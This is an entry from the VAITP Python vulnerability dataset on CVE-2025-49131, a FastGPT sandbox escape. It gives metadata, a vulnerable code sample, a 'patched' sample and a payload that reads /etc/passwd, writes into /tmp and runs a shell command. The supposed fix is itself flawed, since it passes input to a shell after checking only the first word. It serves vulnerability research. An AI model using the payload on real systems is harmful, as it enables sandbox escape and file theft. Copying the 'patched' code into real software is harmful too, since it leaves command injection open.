VAITP Dataset

← Back to the dataset

CVE-2025-49131

FastGPT sandbox escape allows arbitrary file access and import bypass.

  • CVSS 9.9
  • CWE-732
  • Configuration Issues
  • Remote

FastGPT is an open-source project that provides a platform for building, deploying, and operating AI-driven workflows and conversational agents. The Sandbox container (fastgpt-sandbox) is a specialized, isolated environment used by FastGPT to safely execute user-submitted or dynamically generated code in isolation. The sandbox before version 4.9.11 has insufficient isolation and inadequate restrictions on code execution by allowing overly permissive syscalls, which allows attackers to escape the intended sandbox boundaries. Attackers could exploit this to read and overwrite arbitrary files and bypass Python module import restrictions. This is patched in version 4.9.11 by restricting the allowed system calls to a safer subset and additional descriptive error messaging.

CVSS base score
9.9
Published
2025-06-09
OWASP
A01 Broken Access Control
Orthogonal defect classification
Interface
Code defect classification
Incorrect Functionality
Category
Configuration Issues
Subcategory
Design Defects
Accessibility scope
Remote
Impact
Arbitrary Code Execution
Affected component
FastGPT
Fixed by upgrading
Yes

Solution

Upgrade to version 4.9.11 or later.

Vulnerable code sample

import os
import subprocess

def execute_untrusted_code(code):
    """Vulnerable function that demonstrates the security issue."""
    # VULNERABLE: This code is susceptible to command injection
    """
    Executes untrusted Python code within a sandbox.  This version
    demonstrates the vulnerability CVE-2025-49131 by allowing
    unrestricted subprocess calls and file system access from within
    the sandbox.  This is UNSAFE and should NOT be used in production.

    BEFORE version 4.9.11, the sandbox allowed for arbitrary syscalls,
    leading to potential sandbox escapes.  This code mimics that behavior.
    """
    try:
        # Create a temporary file to store the untrusted code.
        with open("temp_code.py", "w") as f:
            f.write(code)

        # Execute the untrusted code using subprocess.
        # BEFORE the fix, no syscall filtering was in place,
        # allowing for arbitrary system calls.  This allows the code
        # to break out of the intended sandbox.
        process = subprocess.Popen(["python", "temp_code.py"],
                                   stdout=subprocess.PIPE,
                                   stderr=subprocess.PIPE)
        stdout, stderr = process.communicate()

        # Clean up the temporary file.
        os.remove("temp_code.py")

        return stdout.decode(), stderr.decode()

    except Exception as e:
        return "", str(e)


if __name__ == "__main__":
    # Example of malicious code that reads a sensitive file
    # in the host system (mimicking a sandbox escape).
    malicious_code = """
import os
try:
    # Attempt to read /etc/passwd (or another sensitive file)
    with open("/etc/passwd", "r") as f:
        content = f.read()
    print("Content of /etc/passwd:", content) # Printing to stdout which is captured

    # Create a file outside of the intended sandbox (simulated here by just creating a file)
    with open("evil_file.txt", "w") as f:
        f.write("I escaped the sandbox!")
    print("Sandbox escape successful - wrote to file 'evil_file.txt'")

except Exception as e:
    print("Error during sandbox escape:", str(e))
"""


    stdout, stderr = execute_untrusted_code(malicious_code)

    print("Stdout:", stdout)
    print("Stderr:", stderr)

    #After running the program a file called 'evil_file.txt' is created in the same directory which demostrates how easy
    #it could have been to create a file outside the intended sandbox boundaries.  The printing of the content of /etc/passwd
    #is also another example of how sensitive information could have been compromised.

Patched code sample

# This is a simplified example and does NOT represent the full complexity
# of the CVE-2025-49131 fix. It demonstrates a basic principle of restricting
# system calls.  A real fix would involve a much more comprehensive
# syscall filtering mechanism, potentially using seccomp-bpf or similar technologies.

import os
import sys
import subprocess

def execute_sandboxed_code(code):
    """
    Executes potentially untrusted code within a restricted environment.
    This example focuses on syscall restriction, but a real sandbox
    would need many other security measures.
    """

    # 1. Define a whitelist of allowed syscalls (simplified)
    #    In reality, this would be a much larger and more carefully curated list.
    allowed_commands = ["echo", "ls", "pwd", "python3"]  # Example: allow only echo, ls, pwd, and python3

    # 2. Parse the code to identify the commands being used.  This is a VERY basic example.
    #    A real implementation needs a proper parser.  This example assumes code is a
    #    single line command.
    try:
        command = code.split()[0]  # Get the first word as the command
    except IndexError:
        print("Error: No command found in code.")
        return

    # 3. Check if the command is in the whitelist.
    if command not in allowed_commands:
        print(f"Error: Command '{command}' is not allowed in the sandbox.")
        return

    # 4. Execute the code using subprocess with limited permissions.
    try:
        result = subprocess.run(code, shell=True, capture_output=True, text=True, timeout=5)
        print("Output:\n", result.stdout)
        if result.stderr:
            print("Error:\n", result.stderr)
    except subprocess.TimeoutExpired:
        print("Error: Code execution timed out.")
    except Exception as e:
        print(f"Error executing code: {e}")

if __name__ == "__main__":
    # Example usage:

    # Allowed command:
    execute_sandboxed_code("echo Hello from the sandbox!")

    # Allowed command using python3 to print
    execute_sandboxed_code("python3 -c \"print('Hello from python')\"")

    # Disallowed command (attempt to read a file):
    execute_sandboxed_code("cat /etc/passwd")

    # Disallowed command (attempt to write to a file):
    execute_sandboxed_code("echo 'Malicious code' > /tmp/evil.txt")

    # Allowed commands, but can still create vulnerabilities if not carefully restricted.
    execute_sandboxed_code("ls -la /")

Payload

import os

# Attempt to read a sensitive file outside the sandbox
try:
    with open("/etc/passwd", "r") as f:
        print(f.read())
except Exception as e:
    print(f"Failed to read /etc/passwd: {e}")

# Attempt to write to a file outside the sandbox (potentially causing denial of service or code execution)
try:
    with open("/tmp/evil.txt", "w") as f:
        f.write("This file was created from within the compromised sandbox!\n")
    print("Successfully wrote to /tmp/evil.txt")
except Exception as e:
    print(f"Failed to write to /tmp/evil.txt: {e}")

#Attempt to bypass import restrictions to import OS
try:
  os.system("touch /tmp/pwned") #very common action for a successful exploit
  print("OS module was successfully imported/bypassed")
except Exception as e:
  print(f"Failed to import OS/execute: {e}")

Cite this entry

@misc{vaitp:cve202549131,
  title        = {{FastGPT sandbox escape allows arbitrary file access and import bypass.
}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2025},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2025-49131},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2025-49131/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::